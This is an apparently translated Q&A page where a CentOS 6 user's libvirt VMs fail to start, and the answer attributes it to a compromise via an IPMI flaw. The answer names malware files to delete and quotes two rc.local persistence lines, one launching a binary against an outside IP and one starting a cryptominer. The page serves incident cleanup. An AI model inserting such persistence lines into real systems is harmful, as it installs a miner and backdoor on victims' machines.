2015-09-12 121 views
0

我在CentOS 6.6節點上使用qemu-kvm。由於沒有明顯的原因,該節點在夜間重新啓動,並且虛擬機在啓動時不會自動啓動。我無法在CentOS 6服務器上啓動qemu-kvm

我試圖啓動機器,我得到這個錯誤:

# start srv50 
error: Failed to start domain srv50 
error: internal error problem reading /sys/devices/system/node/node0: No such file or directory 

我試圖檢查/ SYS /設備/系統/節點/ NODE0是否訪問,這似乎是:

drwxr-xr-x 3 root root 0 Sep 12 08:22 /sys/devices/system/node/node0 

下面是libvirt的日誌文件:

2015-09-12 07:47:43.039+0000: 2933: info : libvirt version: 0.10.2, package: 54.el6 (CentOS BuildSystem <http://bugs.centos.org>, 2015-07-24-04:48:57, c6b9.bsys.dev.centos.org) 
2015-09-12 07:47:43.039+0000: 2933: info : virNetlinkEventServiceStart:517 : starting netlink event service with protocol 0 
2015-09-12 07:47:43.040+0000: 2933: info : virNetlinkEventServiceStart:517 : starting netlink event service with protocol 15 
2015-09-12 07:47:43.044+0000: 2945: info : dnsmasqCapsSetFromBuffer:667 : dnsmasq version is 2.48, --bind-dynamic is NOT present, SO_BINDTODEVICE is NOT in use 
2015-09-12 07:47:43.045+0000: 2945: info : networkReloadIptablesRules:1980 : Reloading iptables rules 
2015-09-12 07:47:43.094+0000: 2945: info : networkRefreshDaemons:1342 : Refreshing network daemons 
2015-09-12 07:47:43.095+0000: 2945: info : virStorageBackendVolOpenCheckMode:1093 : Skipping special dir '..' 
2015-09-12 07:47:43.095+0000: 2945: info : virStorageBackendVolOpenCheckMode:1093 : Skipping special dir '.' 
2015-09-12 07:47:43.095+0000: 2945: info : virStorageBackendVolOpenCheckMode:1093 : Skipping special dir '..' 
2015-09-12 07:47:43.095+0000: 2945: info : virStorageBackendVolOpenCheckMode:1093 : Skipping special dir '.' 
2015-09-12 07:47:43.223+0000: 2945: info : qemudLoadDriverConfig:443 : Configured cgroup controller 'cpu' 
2015-09-12 07:47:43.223+0000: 2945: info : qemudLoadDriverConfig:443 : Configured cgroup controller 'cpuacct' 
2015-09-12 07:47:43.223+0000: 2945: info : qemudLoadDriverConfig:443 : Configured cgroup controller 'cpuset' 
2015-09-12 07:47:43.223+0000: 2945: info : qemudLoadDriverConfig:443 : Configured cgroup controller 'memory' 
2015-09-12 07:47:43.223+0000: 2945: info : qemudLoadDriverConfig:443 : Configured cgroup controller 'devices' 
2015-09-12 07:47:43.223+0000: 2945: info : qemudLoadDriverConfig:443 : Configured cgroup controller 'blkio' 
2015-09-12 07:47:43.225+0000: 2945: error : virNodeParseNode:263 : problem reading /sys/devices/system/node/node0: No such file or directory 
2015-09-12 07:47:43.225+0000: 2945: warning : qemuCapsInit:880 : Failed to get host CPU 
2015-09-12 07:47:43.347+0000: 2945: info : virDomainLoadAllConfigs:15374 : Scanning for configs in /var/run/libvirt/qemu 
2015-09-12 07:47:43.354+0000: 2945: info : virDomainLoadAllConfigs:15374 : Scanning for configs in /etc/libvirt/qemu 
2015-09-12 07:47:43.354+0000: 2945: info : virDomainLoadAllConfigs:15396 : Loading config file 'srv50.xml' 
2015-09-12 07:47:43.355+0000: 2945: info : virDomainLoadAllConfigs:15396 : Loading config file 'srv51.xml' 
2015-09-12 07:47:43.355+0000: 2945: info : qemuDomainSnapshotLoad:494 : Scanning for snapshots for domain srv51 in /var/lib/libvirt/qemu/snapshot/srv51 
2015-09-12 07:47:43.355+0000: 2945: info : qemuDomainSnapshotLoad:494 : Scanning for snapshots for domain srv50 in /var/lib/libvirt/qemu/snapshot/srv50 
2015-09-12 07:47:43.378+0000: 2945: info : lxcSecurityInit:1380 : lxcSecurityInit (null) 
2015-09-12 07:47:43.378+0000: 2945: info : virDomainLoadAllConfigs:15374 : Scanning for configs in /var/run/libvirt/lxc 
2015-09-12 07:47:43.378+0000: 2945: info : virDomainLoadAllConfigs:15374 : Scanning for configs in /etc/libvirt/lxc 

我嘗試的CentOS升級到最新版本,這個重置libvirtd配置,但我仍然得到相同的錯誤。

如何啓動這些虛擬機以及節點文件有什麼問題?

回答

1

最近根據一些類似的情況,您的服務器可能會受到危害。

您應該檢查您的/etc/rc.local,看看是否添加了類似_-pud_-minerd。如果它們存在,那麼你就是其中一個受害者。

爲了讓您的虛擬機回來,你需要刪除這些文件:

  • /usr/bin/_-minerd
  • /usr/bin/_-pud
  • /usr/bin/_-config
  • /etc/ld.so.preload
  • /lib64/libncom.so.4.0.1
  • /tmp/initramfs.*/lib64/libncom.so.4.0.1

而且不要忘了刪除/etc/rc.local這兩條線:

  • nohup /usr/bin/_-pud 119.78.232.8 >/dev/null
  • nohup /usr/bin/_-minerd -c /usr/bin/_-config 2> /dev/null&

虛擬機應啓動並運行在下次重新啓動。

請記住檢查您的IPMI或iDRAC是否可從Internet訪問,此問題是由IPMI固件中的漏洞引起的。建議更新到新版本的固件。

參考文獻:

相關問題